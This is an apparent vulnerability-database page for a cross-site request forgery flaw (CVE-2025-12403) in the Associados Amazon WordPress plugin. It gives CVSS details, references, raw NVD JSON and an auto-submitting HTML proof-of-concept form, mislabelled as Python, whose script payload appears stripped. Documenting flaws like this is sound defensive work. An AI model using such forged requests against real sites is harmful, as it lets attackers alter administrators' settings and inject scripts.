CVE-2025-12403

Description

The Associados Amazon Plugin plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.8. This is due to missing or incorrect nonce validation on the brzon_admin_panel() function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Associados Amazon Plugin <= 0.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-12403 -->
<!-- This PoC demonstrates how an attacker can forge an admin request to inject malicious scripts -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack PoC - CVE-2025-12403</title>
</head>
<body>
    <h1>CSRF PoC for Associados Amazon Plugin</h1>
    <p>Click the button below to execute the attack (social engineering required):</p>
    
    <form action="http://target-wordpress-site/wp-admin/admin.php?page=brzon" method="POST" id="csrfForm">
        <!-- Inject malicious script via plugin settings -->
        <input type="hidden" name="brzon_amazon_id" value=" attacker-script">
        <input type="hidden" name="brzon_submit" value="1">
        <!-- Additional malicious parameters can be added here -->
    </form>
    
    <script>
        // Auto-submit form when page loads (for demonstration purposes)
        document.getElementById('csrfForm').submit();
        console.log('CSRF request sent to inject malicious configuration');
    </script>
    
    <p><strong>Note:</strong> This is for educational and security testing purposes only.</p>
    <p>Target: WordPress site with Associados Amazon Plugin <= 0.8 installed</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12403
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12403
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12403/
[4] VulDB https://vuldb.com/cve/CVE-2025-12403
[5] https://plugins.trac.wordpress.org/browser/brzon/tags/0.8/brzon.php#L568
[6] https://plugins.trac.wordpress.org/browser/brzon/tags/0.8/brzon.php#L569
[7] https://plugins.trac.wordpress.org/browser/brzon/tags/0.8/brzon.php#L589
[8] https://www.wordfence.com/threat-intel/vulnerabilities/id/f7968054-69f1-47f5-9a32-b124ee1133ce?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12403", "sourceIdentifier": "[email protected]", "published": "2025-11-04T05:16:12.773", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Associados Amazon Plugin plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.8. This is due to missing or incorrect nonce validation on the brzon_admin_panel() function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/brzon/tags/0.8/brzon.php#L568", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/brzon/tags/0.8/brzon.php#L569", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/brzon/tags/0.8/brzon.php#L589", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f7968054-69f1-47f5-9a32-b124ee1133ce?source=cve", "source": "[email protected]"}]}}